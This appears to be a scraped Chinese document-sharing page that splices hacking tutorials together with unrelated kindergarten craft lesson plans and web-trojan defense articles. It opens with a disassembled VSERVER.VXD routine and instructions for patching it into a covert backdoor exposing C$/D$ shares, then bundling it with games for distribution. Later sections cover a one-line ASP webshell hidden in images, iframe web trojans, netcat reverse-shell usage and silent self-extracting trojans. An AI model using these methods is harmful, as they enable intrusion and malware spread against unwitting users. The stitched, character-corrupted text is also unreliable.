于多少跳转等。
03424 ja short loc_0419 ; 2 byte
03426 POP EAX ;1 byte 堆栈平衡
03427 PUSH EDI ;1 byte
03428 POP EAX ;1 byte EAX=EDI SHARE NAME LONG , 后面要用
刚好字节够用，注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件，最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动，还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置，再把你的程序散发。。。。。
中了你的木马的你访问他的共享目录后面加一大串字母（共享名串长大于等于
0DH）会提示出错，但你就可以再访问\\IP\C$, \\IP\D$....了，这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话
\\IP\C$,\\IP\D$... 都不能访问的，他自己用网络监视器也看不到这种共享的，所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 031FD, 32CC
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
033F4 sub_0026 proc near
033F4 56 push esi
033F5 66| 81 3B 5C5C cmp word ptr [ebx],5C5Ch
033FA 74 07 je short loc_0412 ; Jump if equal
033FC 66| 81 3B 2F2F cmp word ptr [ebx],2F2Fh
03401 75 12 jne short loc_0415 ; Jump if not equal
03403 loc_0412: ; xref 033FA
03403 8D 73 02 lea esi,dword ptr [ebx+2] ; Load effective addr 03406 loc_0413: ; xref 0340F
03406 E8 00006961 call sub_0207 ; (09D6C)
0340B 74 05 jz short loc_0414 ; Jump if zero
0340D 3C 5C cmp al,5Ch ; '\'
0340F 75 F5 jne loc_0413 ; Jump if not equal
03411 46 inc esi
03412 loc_0414: ; xref 0340B
03412 8D 5E FF lea ebx,dword ptr [esi-1] ; Load effective addr 03415 loc_0415: ; xref 03401
03415 2A C0 sub al,al
03417 B9 0000FFFF mov ecx,0FFFFh
0341C 8B FB mov edi,ebx
0341E F2/ AE repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al 03420 8B C7 mov eax,edi
03422 2B C3 sub eax,ebx
03424 83 F8 0D cmp eax,0Dh
03427 77 26 ja short loc_0419 ; Jump if above
03429 55 push ebp
0342A 8B 2D 00011CA4 mov ebp,dword ptr data_0182 ;THE SHARE POINTER ; (11CA4=0)
03430 loc_0416: ; xref 0344C
03430 ?1 FD 00011CA4 cmp ebp,11CA4h
03436 74 16 je short loc_0418 ; Jump if equal
03438 80 7D 08 02 cmp byte ptr [ebp+ClientEBP],2
0343C 75 0B jne short loc_0417 ; Jump if not equal
0343E 8D 75 11 lea esi,dword ptr [ebp+11h] ; Load effective addr 03441 8B FB mov edi,ebx
03443 8B C8 mov ecx,eax
03445 F3/ A6 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] 03447 74 3A jz short loc_0424 ; Jump if zero
03449 loc_0417: ; xref 0343C
03449 8B 6D 00 mov ebp,dword ptr [ebp+ClientEDI]
0344C EB E2 jmp short loc_0416 ; (03430)
0344E loc_0418: ; xref 03436
0344E 5D pop ebp
0344F loc_0419: ; xref 03427
0344F B8 00060002 mov eax,60002h
03454 5E pop esi
03455 F9 stc ; Set carry flag
03456 C3 retn
03457 loc_0420: ; xref 0349F
03457 8B 43 34 mov eax,dword ptr [ebx+34h]
0345A 8B 1B mov ebx,[ebx]
0345C 81 FB 00011CA4 cmp ebx,11CA4h
03462 74 0A je short loc_0421 ; Jump if equal
03464 3B 43 34 cmp eax,dword ptr [ebx+34h]
03467 74 2F je short loc_0425 ; Jump if equal
03469 B8 00020002 mov eax,20002h
0346E loc_0421: ; xref 03462, 3481, 354D, 35E8
0346E ?E pop esi
0346F F9 stc ; Set carry flag
03470 C3 retn
03471 33 DB db 33h,0DBh
03473 loc_0422: ; xref 0349D
03473 5E pop esi
03474 C3 retn
03475 loc_0423: ; xref 034C1
03475 8B D3 mov edx,ebx
03477 鶥B 0000000A mov ebx,0Ah ; (0000A=0B8h)
0347C B8 00590002 mov eax,590002h
03481 EB EB jmp short loc_0421 ; (0346E)
03483 loc_0424: ; xref 03447
03483 8B DD mov ebx,ebp
03485 59 pop ecx ;ebp ,the password long
03486 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0) 0348D 75 12 jnz short loc_0426 ; Jump if not zero
0348F 8B 34 24 mov esi,[esp]
03492 F6 46 1F 01 test byte ptr [esi+1Fh],1
03496 75 09 jnz short loc_0426 ; Jump if not zero
03498 loc_0425: ; xref 03467
03498 E8 00000182 call sub_0027 ; (0361F) check the password 0349D 72 D4 jc loc_0422 ; Jump if carry Set
0349F 75 B6 jnz loc_0420 ; Jump if not zero
034A1 loc_0426: ; xref 0348D, 3496
034A1 F6 43 10 40 test byte ptr [ebx+10h],40h ; '@'
034A5 0F 85 00000089 jnz loc_0433 ; Jump if not zero
034AB A1 00011CC4 mov eax,data_0190 ; (11CC4=0FFFFF000h) 034B0 80 38 01 cmp byte ptr [eax],1
034B3 0F 83 00000134 jae loc_0439 ; Jump if above or =
034B9 loc_0427: ; xref 0353B, 3564, 356F, 35F6
; 3611
034B9 66| 8B 53 0E mov dx,word ptr [ebx+0Eh]
034BD 66| 39 53 0C cmp word ptr [ebx+0Ch],dx
034C1 76 B2 jbe loc_0423 ; Jump if below or =
034C3 loc_0428: ; xref 03528
034C3 8B 0D 00011B34 mov ecx,dword ptr data_0170 ; (11B34=0) 034C9 85 C9 test ecx,ecx
034CB 74 56 jz short loc_0431 ; Jump if zero
034CD 8B 01 mov eax,[ecx]
034CF A3 00011B34 mov data_0170,eax ; (11B34=0)
034D4 66| FF 43 0E inc word ptr [ebx+0Eh]
034D8 89 59 0C mov dword ptr [ecx+0Ch],ebx
034DB C6 41 14 03 mov byte ptr [ecx+14h],3
034DF 8A 41 17 mov al,byte ptr [ecx+17h]
034E2 04 08 add al,8
034E4 0C C0 or al,0C0h
034E6 88 41 17 mov byte ptr [ecx+17h],al
034E9 C6 41 15 00 mov byte ptr [ecx+15h],0
034ED 8B 34 24 mov esi,[esp]
034F0 F6 46 1F 08 test byte ptr [esi+1Fh],8
034F4 75 08 jnz short loc_0429 ; Jump if not zero
034F6 A1 00011CC8 mov eax,data_0191 ; (11CC8=0FFFFF000h) 034FB FF 40 10 inc dword ptr [eax+10h]
034FE loc_0429: ; xref 034F4
034FE 5E pop esi
034FF 81 7B 11 494D4441 cmp dword ptr
[ebx+11h],494D4441h ;ADMIN$ ?
03506 75 0E jne short loc_0430 ; Jump if not equal
03508 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh
0350E 75 06 jne short loc_0430 ; Jump if not equal
03510 80 7B 17 00 cmp byte ptr [ebx+17h],0
03514 74 61 je short loc_0435 ; Jump if equal
03516 loc_0430: ; xref 03506, 350E, 3584
03516 B8 00011CD4 mov eax,11CD4h
0351B E8 000056BC call sub_0130 ; (08BDC)
03520 85 DB test ebx,ebx
03522 C3 retn
03523 loc_0431: ; xref 034CB
03523 E8 00000190 call sub_0028 ; (036B8)
03528 73 99 jnc loc_0428 ; Jump if carry=0
0352A EB 00 jmp short loc_0432 ; (0352C)
0352C loc_0432: ; xref 0352A
0352C 5F pop edi
0352D B8 00590002 mov eax,590002h
03532 F9 stc ; Set carry flag
03533 C3 retn
03534 loc_0433: ; xref 034A5
03534 8B 34 24 mov esi,[esp]
03537 F6 46 1F 01 test byte ptr [esi+1Fh],1
0353B 0F 85 FFFFFF78 jnz loc_0427 ; Jump if not zero
03541 loc_0434: ; xref 03575, 358F
03541 ?B D3 mov edx,ebx
03543 BB 0000000B mov ebx,0Bh
03548 B8 00050001 mov eax,50001h
0354D E9 FFFFFF1C jmp loc_0421 ; (0346E)
;* No entry point to code
03552 8B 3C 24 mov edi,[esp]
03555 53 push ebx
03556 8B 35 000128B8 mov esi,dword ptr data_0379 ;
(128B8=0FFFFF000h)
0355C E8 FFFFE407 call sub_0009 ; (01968)
03562 0B ED or ebp,ebp ; Zero ?
03564 0F 84 FFFFFF4F jz loc_0427 ; Jump if zero
0356A 3E: 83 7D 10 00 cmp dword ptr ds:[ebp+ClientEBX],0
0356F 0F 85 FFFFFF44 jne loc_0427 ; Jump if not equal
03575 EB CA jmp short loc_0434 ; (03541)
03577 loc_0435: ; xref 03514
03577 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0) 0357E 74 11 jz short loc_0436 ; Jump if zero
03580 F6 46 1F 01 test byte ptr [esi+1Fh],1
03584 75 90 jnz loc_0430 ; NOT ADMIN$ Jump if not zero
03586 66| FF 4B 0E dec word ptr [ebx+0Eh]
0358A C6 41 14 00 mov byte ptr [ecx+14h],0
0358E 56 push esi
0358F EB B0 jmp short loc_0434 ; (03541)
03591 loc_0436: ; xref 0357E
03591 80 4E 1F 01 or byte ptr [esi+1Fh],1
03595 C6 41 15 01 mov byte ptr [ecx+15h],1
03599 8B FE mov edi,esi
0359B 8B 35 000128B8 mov esi,dword ptr data_0379 ;
(128B8=0FFFFF000h)
035A1 83 3D 000134E0 00 cmp dword ptr data_0431,0 ; C$,D$ HAVE BEEN SHARED(134E0=0)
035A8 75 14 jne short loc_0437 ; Jump if not equal
035AA 52 push edx
035AB 51 push ecx
035AC 8D 4B 1E lea ecx,dword ptr [ebx+1Eh];THE
ADMIN$ PASSWORD
035AF ?1 push ecx ; PARAMETER_1 if ecx=0 no password
035B0 E8 0000856F call sub_0230 ;MAKE C$,D$SHARE (0BB24) 035B5 59 pop ecx
035B6 59 pop ecx
035B7 5A pop edx
035B8 FF 05 000134E0 inc dword ptr data_0431 ; (134E0=0)
035BE loc_0437: ; xref 035A8
035BE 53 push ebx
035BF E8 FFFFE3A4 call sub_0009 ; (01968)
035C4 72 13 jc short loc_0438 ; Jump if carry Set
035C6 8B 3D 00011CCC mov edi,dword ptr data_0192 ;
(11CCC=0FFFFF000h)
035CC 8B BF 000000E2 mov edi,dword ptr ds:[0E2h][edi] ;
(000E2=358B0000h)
035D2 89 7B 04 mov dword ptr [ebx+4],edi
035D6 85 DB test ebx,ebx
035D8 C3 retn
035D9 loc_0438: ; xref 035C4
035D9 5A pop edx
035DA C6 41 14 00 mov byte ptr [ecx+14h],0
035DE BB 0000000C mov ebx,0Ch
035E3 B8 00010002 mov eax,10002h
035E8 E9 FFFFFE81 jmp loc_0421 ; (0346E)
035ED loc_0439: ; xref 034B3
035ED 75 28 jnz short loc_0440 ; Jump if not zero
035EF 8B 34 24 mov esi,[esp]
035F2 F6 46 1F 01 test byte ptr [esi+1Fh],1
035F6 0F 85 FFFFFEBD jnz loc_0427 ; Jump if not zero
035FC 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h
03603 75 12 jne short loc_0440 ; Jump if not equal
03605 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh
0360B 75 0A jne short loc_0440 ; Jump if not equal
0360D 80 7B 17 00 cmp byte ptr [ebx+17h],0
03611 0F 84 FFFFFEA2 je loc_0427 ; Jump if equal
03617 loc_0440: ; xref 035ED, 3603, 360B
03617 B8 00510002 mov eax,510002h
0361C 5F pop edi
0361D F9 stc ; Set carry flag
0361E C3 retn
sub_0026 endp
原作者：不明
来源：不明
共有20位读者阅读过此文
【告诉好友】?上篇文章：NT的19个秘密武器
?下篇文章：用perl编写CGI过程中的安全问题
□- 本周热门文章□- 相关文章
1.破解OICQ的密码算法[349]
2.黑客攻击步骤-如何获得IP [271]
3.黑客初步技术[257]
4.黑客实用技巧两则[189]
5.网络入侵简介[163] FireWall因协议设计而存在的缺陷(下) FireWall因协议设计而存在的缺陷(上) DOS下常用网络相关命令解释
NET命令的基本用法
常用的网络相关命令
6.很酷的一篇入侵分析[151]
7.通过两个漏洞的结合只需要不到10秒钟...[143] 保持在主机上的权限
用perl编写CGI过程中的安全问题
解析网页后门与网页挂马原理 转自IT168 网站被挂马，被植入后门，这是管理员们无论如何都无法忍受的。Web服务器被攻克不算，还“城门失火殃及池鱼”，网站的浏览者也不能幸免。这无论是对企业的信誉，还是对管理员的技术能力都是沉重的打击。下面笔者结合实例对网页后门及其网页挂马的技术进行解析，知己知彼，拒绝攻击。 一、前置知识 网页后门其实就是一段网页代码，主要以ASP和PHP代码为主。由于这些代码都运行在服务器端，攻击者通过这段精心设计的代码，在服务器端进行某些危险的操作，获得某些敏感的技术信息或者通过渗透，提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道，比一般的入侵更具有隐蔽性。 网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候，这段代码被执行，然后下载并运行某木马的服务器端程序，进而控制浏览者的主机。 二、网页挂马的类型 1、框架嵌入式网络挂马 网页木马被攻击者利用iframe语句，加载到任意网页中都可执行的挂马形式，是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下： 解释：在打开插入该句代码的网页后，就也就打开了https://www.doczj.com/doc/cc17177906.html,/muma.html页面，但是由于它的长和宽都为“0”，所以很难察觉，非常具有隐蔽性。下面我们做过做个演示，比如在某网页中插入如下代码： 在“百度”中嵌入了“IT168安全版块”的页面，效果如图1。(图1)
泥工——包水饺 活动目标： 1、学习团圆、压扁的技能，能运用这些技能来塑造简单水饺的形象，发展幼儿的动手能力。 2、继续培养幼儿对泥塑的兴趣及泥塑活动的常规。 活动准备： 橡皮泥、泥工板、范例等 活动过程： 一、引题 ——通过讨论的活动形式激发幼儿活动的兴趣。请幼儿一桌一桌的讨论说水饺是什么样的？ 二、出示范例，激发幼儿塑造的兴趣 ——重点：强调团圆、压扁的技能：、左手心，左手在下右手在上，手心相对，把泥慢慢的团圆，团圆后用掌心想下压。 ——难点：把泥压好后包捏成水饺的形象。 三、幼儿动手操作，教师巡回指导，鼓励幼儿大胆塑造。 四、请幼儿互相观赏作品，说说谁的作品好，在操作中，谁认真作业到结束。 五、结束活动： ——整理泥塑，要求幼儿把同颜色的泥团放在一起。
手工——运动小人 活动目标： 1、能用火柴棒来表现运动人的头部、四肢和躯干。 2、了解运动姿势，发挥想象力，拼搭出各种运动造型。 3、感受图形拼搭的趣味。 活动准备： 1、火柴棒双面胶 2、为每位幼儿准备一些火柴 活动过程： 一、我是运动员 ——玩“山上有个木头人”的游戏，将其中的“木头人”替换成“运动员幼儿念完儿歌最后一句时，立刻摆出一种运动姿势，并保持不动。 ——在游戏中，教师和幼儿一起模仿，了解不同运动项目的动作特点。二、运动员出来了 ——请一名幼儿模仿一种运动项目的动作姿势。教师讲解并示范用火柴棒拼搭的方法。先定好运动员头部的位置，然后根据运动员的姿势摆放好身体、手、脚的位置和方向。最后，看看运动员的姿势是不是和示范者的姿势一样。——鼓励幼儿发挥想想，自主设计运动员的不同运动姿势。 三、运动员参加运动会 ——运动员马上要去参加运动会了！教师发给幼儿操作用纸，请幼儿先耐心撕下双面胶的白色纸条，然后在有粘性的空白处用火柴棒拼搭运动员。——教师巡回观察并指导，鼓励幼儿添画“道具”或运动情景。 ——教师询问幼儿拼搭的是什么运动员的姿势，并用文字在其作品旁简单记录。
图片木马制作的三种方法Copy命令制作 1.asp内容： 打开cmd，数据一下命令：
此时打开两个jpg文件，相比： 且打开可以像一样显示图像。 把以下代码放入目标网站，即可按asp执行。<% #include files=””%> Uedit32（转载）：
本制作来自于：雪糕。 我们通常在得到webshell之后都想给自己留个后门，等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时，在该页面上就会有类似如下的错误： Microsoft VBScript 运行时错误错误 '800a000d' 类型不匹配: 'execute' /news1/，行 3 所以我们就可以开动脑筋了，使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话（希望网站中的文件可写），就直接把网站原有的图片变成后门，然后在那个asp文件中加入调用图片后门的代码： 这样就没有上面的“类型不匹配: 'execute'”错误了，而且也更好的隐藏了我们的后门。 新挑战始终会伴着新事物的出现而出现，当我们直接将我们的一句话木马的asp文件改成jpg或gif文件的时候，这个图片文件是打不开的，这又容易被管理员发现。然后我们就又开始思考并寻找新的方法：制作可以显示图片内容的图片格式后门。 制作步骤： 一、前期准备 材料： 1.一张图片：
2.一句话木马服务器端代码： <%execute request("value")%>（其他的一句话也行） 3.一句Script标签： 4. 调用图片后门代码： 工具：UltraEdit
利用NC来制作自己的反弹木马 免责申明:我也是第一次公开写这样的东西,不过写此文的目的是为了技术上的研究,把我自己的一些方法和技巧讲出来,和大家一起探讨,希望大家能提出意见.并不是教大家如何利用此方法去破坏别人的电脑!请不要用于非法目的,否则一切责任自负与我无关,呵呵~~~我可不想做黑鹰的大米呀. 一、必须掌握的基础知识； NC这个工具对于一个黑客来说再熟悉不过了,可以说是每个黑客必备工具之一,被称做黑客的一把瑞士军刀!可见其地位之高.大家有兴趣的话自己去看一下有关NC的一些详细用法吧,我在这里就不多说了,这不是我这次要讲的主题,我只把其中我用到的一些参数介绍给大家.NC并不是一个图形界面的工具,但它有很强大的正向链接、反向链接、扫描和监听PORT等功能！ 对于木马，它的种类也有很多，但最让人喜欢的还是具有反弹功能的木马，它可以让我们一劳永逸，一次种植成功以后便自动找上门来，呵呵~~~事半功倍呀！这也是我喜欢反向链接木马的一个原因。（对于正向链接我最喜欢的一个工具就是radmin，原因就是它不会被杀。）至于如何让别人中了你的木马、如何去入侵对方，然后给他种马我就不说了（这也不是我这次要说的主题）方法和手法有很多，就看你的技术了。当你成功入侵一台机子后，你想做的事当然是永远的抓住它，不要让他轻易的溜走，那就赶快上传你自己的木马吧！这是我的通常做法。这时一个优秀的木马会给我们很大帮助。 还是来说NC吧。它的使的格式是这样的，在CMD下输入：NC.EXE [参数1] [参数2] ……主机名（或IP）。 NC有很多的参数，它的功能就体现在这些参数上。这里有几个要用到的、必需掌握的参数给大家简略的介绍一下： -l监听模式，可以监听本地的PORT即端口； -p设置端口，后加端口号； -v显示详细信息， -vv显示更详细信息； -t 以telnet交互方式来回应； -e程序重定向，可以把目标机的CMD重定向到一个端口上，然后我们在本机进行监听，这样就可以得到目标机的SHELL了，具体看后面我讲的例子吧； -d后台模式；主要的参数就这么多吧，我们通过下面的例子来一步一步学习吧！ 二、简单的几个例子； 例如对本机TCP端口90的监听：nc.exe -l -v -p 90 127.0.0.1 意思是临听本机的TCP 端口90（如图1）。
一、剪贴画的基本概念：根据设想意图选择相应材料，通过裁剪、拼贴、组合等方式，形成具有一定主题且有较强视觉冲击力的画面。 二、制作剪贴画的基本要求: 1.层次分明、主题突出。 2.色调统一、整体感强 3.构思独特、细节精细 4.制作精湛、画面协调 三、制作剪贴画的基本步骤： 1.确定主题，构思立意 2.勾画草图，确定色调 3.选择材料，剪裁摆放 4.拼贴组合，调整完成 小学生手工制作评分标准主要有以下几项： 1、必须现场制作，现成的展示不予评奖； 2、作品完整，做工精致； 3、创意新颖，形式活泼； 4、造型美观，材料环保； 5、主题鲜明，情趣健康； 6、有一定的技术含量。
树叶粘贴画的制作 一、树叶的采集与保存 1.树叶的采集要先考虑其形状的变化。如多菱形的枫树叶、圆形的桦树叶、长形的揪树叶及椭圆的胡枝子叶等，都应采集，以保证图案结构的多样化。 2.树叶的采集还要考虑颜色的多样性。 3.树叶的采集要系列化，即每一种形状、颜色的树叶都能形成从小到大逐个渐进的序列。这样能保证制作时有充分选择的余地。同时也要收集一些花叶、花籽与梗等。 4.采集树叶的同时要携带一定数量的吸水纸或废报纸，如果有纸张粗糙的旧书或杂志也可以。边采集边将树叶展平后摆放到吸水纸中。带回来以后用重物压紧，并且每天翻动两次，大约一周左右待树叶干透以后，分类夹放好就可以用了。 二、树叶的选用与粘贴 1.工具。普通白纸若干张，镊子一个，胶水一瓶。 2.粘贴前先选择适合画面需要的树叶，用镊子轻轻地夹放到画稿上去。经过精心的设计摆放，认为达到了画面要求时就可以在树叶的背面涂上胶水按照先
后次序，放到预先设计好的位置上去。在上面蒙上一层薄纸后渐渐地展平树叶，放到一边待胶水干透后一幅画就完成了。注意不要重压，否则树叶容易破裂。 三、画面处理的方法 1.一种树叶的多次利用 利用树叶可以做很多风景、动物、器物的粘贴画。但是，一个画面的好坏，主要取决于树叶的形状与颜色的选择、搭配。同种大小、颜色不同的树叶在一起搭配粘贴能表现很多的内容。同时要兼顾树叶之间颜色的对比，色度的黑、白、灰。主体部分的色彩不宜大鲜艳，细节部分的色彩可鲜艳一些，这样交错搭配画面就比较协调。例如，准备粘贴一幅“孔雀开屏”的画面，可以选择绿色的柳树叶叠放成扇状，在孔雀屏空隙处摆放两层红与黄的柳树 叶，正面放一叶浅黄色的柳树叶做孔雀的身体，用叶梗做孔雀的腿，这样，一只向每一位参观者展示自己丰姿的绿孔雀就完成了。如果想粘贴一幅“葡萄”的画面，可以用大小不同、颜色不同的树叶相互叠放后形成硕果累累画面后，由两片大菱形葡萄叶完成整幅画面。 2.多种树叶的组合 随着画面内容的不同，有些物体需要不同形状的树叶去完善，如，要贴一幅“金鱼戏水”的画面，金鱼的身体部分用浅色的长圆形树叶，尾巴用红绿相间的枫叶，用外层红、里层黑的花籽粘上眼睛，金鱼就维妙维肖了。画面下边用蕨草做水草，上边用松针模贴几条代表水平面。从画面上看，好象一条色彩斑澜的金鱼在水中悠闲自得的嬉游。 3.花叶、花籽、花梗的使用
自解压木马的制作及查杀图文教程 https://www.doczj.com/doc/cc17177906.html,/wojiubaibudu/blog/item/e75b30871fd65d3466096e04.html 2009-09-24 自解压木马是利用 WinRAR 软件的自解压技术制作的。WinRAR 解压软件想必你的电脑已经安装了吧。 不要问我怎么安装 WinRAR ，我会生气的(╰_╯)。那么，我们开始吧。 1.本例用一张图片和一个木马制作自解压木马，当然你可以用别的文件代替本例中的图片。 2.接着，将图片和木马压缩为一个文件，不要问我怎么压缩(╰_╯)。
3.双击压缩好的文件，可以看到下图界面，单击工具栏最右边的“自解压格式”。 4.在弹出的对话框中，再单击下图鼠标所指的“高级自解压选项”。
5.此时，弹出如下图所示对话框，在“解压路径”文本框中输入一个路径，此路径的作用是： 当用户运行自解压木马时，压缩包中的木马自动释放到此路径中。所以，最好输入一个不容易被发现的位置 如本例中的“%SystemRoot%\system32”，表示解压到系统文件夹下的system32文件夹中。
同时，还要在【安装程序】组合框中的“解压后运行”文本框中输入木马文件“木马.exe”， 在“解压前运行”文本框中输入图片文件“MM.jpg”。 6.切换到【模式】选项卡，在【安静模式】中选择“全部隐藏”。
7.再切换到【更新】选项卡，选择“解压并替换文件”和“覆盖所有文件”。
8.点击确定，再点击确定，到此为止，自解压木马就制作完成了，生成的自解压木马在原压缩文件同目录下，如下图所示。
Web安全之网页木马的检测与防御随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生，基于Web环境的互联网应用越来越广泛，企业信息化的过程中各种应用都架设在Web平台上，Web业务的迅速发展也引起黑客们的强烈关注，接踵而至的就是Web安全威胁的凸显，黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限，轻则篡改网页内容，重则窃取重要内部数据，更为严重的则是在网页中植入恶意代码，使得网站访问者受到侵害。在Web安全的攻击种类中，网页木马一直是一个不容忽视的问题。黑客把一个木马程序上传到一个网站里面然后用木马生成器生一个网马，再上到空间里面，再加代码使得木马在打开网页里运行，从而获取用户的隐私信息。随着网页木马破坏性的增大，人们对网页木马的重视程度也在逐渐增加。 1网页木马简介 1.1网页木马的定义 网页木马是在宏病毒、木马等恶意代码基础上发展出来的一种新形态的恶意代码.类似于宏病毒通过Word 等文档中的恶意宏命令实现攻击.网页木马一般通过HTML 页面中的一段恶意脚本达到在客户端下载、执行恶意可执行文件的目的,而整个攻击流程是一个“特洛伊木马式”的隐蔽的、用户无察觉的过程,因此,国内研究者通常称该种攻击方式为“网页木马”. 目前,学术界对网页木马尚无一个明确的、统一的定义.Wiki 将它定义为一种用户不知情的下载,发生的场景可以是用户阅览邮件、访问网站页面以及点击一个欺诈性的弹出框时,等等,该定义属于字面解释,包括的内容比较宽泛,如利用社会工程学手段欺骗用户下载也属于其涵盖范围.此外,Wiki 还用Drive-by-Install 这一术语来表示下载并安装恶意程序的过程;Google 的Provos 等人将网页木马限定为客户端在访问页面时受到攻击并导致恶意可执行文件的自动下载、执行,该定义指出了“访问页面时受到攻击”和“自动下载、自动执行恶意可执行文件”两个关键点;UCSB 的Cova 等人进一步指出,网页木马是以一段JavaScript 代码作为攻击向量的一种客户端攻击方式,而实际上,还存在一些通过CSS 元素、VBScript 脚本发起攻击的网页木马。 综上所述,网页木马定义为:一种以JavaScript,VBScript,CSS 等页面元素作为攻击向量,利用浏览器及插件中的漏洞,在客户端隐蔽地下载并执行恶意程序的基于Web 的客户端攻击。 1.2网页木马的攻击流程 网页木马采用一种被动攻击模式(即pull-based 模式):攻击者针对浏览器及插件的某个特定漏洞构造、部署好攻击页面之后,并不像发送垃圾邮件那样主动将内容推送给受害用户(即push-based 模式),而是被动地等待客户端发起的页面访问请求.其典型攻击流程如图 1 所示:1. 客户端访问攻击页面;2. 服务器做出响应,将页面内容返回给客户端;3. 页面被浏览器加载、渲染,页面中包含的攻击向量在浏览器中被执行并尝试进行漏洞利用;4,5. 存在该漏洞的客户端被攻破,进而下载、安装、执行恶意程序。
《手工》校本课程计划与教案 授课教师：杨敏 授课对象：四年级学生 授课时间：每周五校本课程 手工方课程的开设是对课堂教学的补充和延伸，与课堂教学相比更具灵活性、可塑性，因而学生非常乐意参加。地方课程的开设，在于培养学生对美术的兴趣、爱好、增长知识、提高技能、丰富学生的课余文化生活，为今后培养美术人才起着积极推动的作用。现将本学期美术小组的活动安排制定如下： 一、活动目的 本学期开设的手工地方课程活动为一部分有特长爱好的学生提供一个展示个性才艺的机会和空间，使他们的一技之长得到充分的发挥和展示，以点带面，促进全校的美术活动。进一步了解美术的基本知识，提高学生的欣赏水平及创造能力。同时让学生在活动中体验创作的乐趣。 二、活动要求 1、组织学生按时参加活动，并保持室内清洁。 2、每周五下午第二节课开始活动，小组成员必须准时到达美术室。 3、美术小组成员应严格遵守纪律，不准在美术室大声喧哗，不准做与美术学习无关的事。 4、每次老师布置的作业，学生都应按时完成。 5、爱护美术教室内的设施和用品。 三、活动内容
1、以小组合作的形式进行平面剪贴和立体手工制作 2、卡纸和生活中的废旧物品均可作为创作材料 3、给学生自己创作作品的时间和空间。 4、欣赏优秀手工作品，开拓学生眼界。 5、及时用相机拍摄活动内容。（集体或个人） 四、定期举办美术比赛 举办美术展览，交流、回顾、总结学习成果，为同学们提供表现自己实力，增强自信心的舞台能起到意想不到的效果。教师要精心指导，严格把关。学生大胆构思，不拘一格，精心绘制，多出佳作，在校内展出以起到示范作用。 五、备注 附：教学进程和教案 博爱小学地方课程备课（填年度学期） 一、教学进程 有趣的吊饰 教学目标： 1、知识与技能：能表现物象的形态特征；运用剪、对折、粘贴制作吊饰；有目的的排列。 2、过程与方法： （1）在比较中，感受民间饰物造型、色彩、花纹特点； （2）在探索中学习吊饰的设计方法； （3）在“尝试运用”中掌握制作方法。
如果你访问××网站（国内某门户网站），你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页，经检查，我确实中了灰鸽子。怎么实现的呢？他说，他侵入了该网站的服务器并在网站主页上挂了网页木马；一些安全专家常说，不要打开陌生人发来的网址，为什么？因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式，实际上网页木马还可以挂在多媒体文件（RM、RMVB、WMV、WMA、Flash）、电子邮件、论坛等多种文件和场合上。很可怕吧，那么用户如何防范网页木马呢？下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。 有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示：代码说明 a. 代码中“src”的属性为程序的网络地址，本例中 “https://www.doczj.com/doc/cc17177906.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的
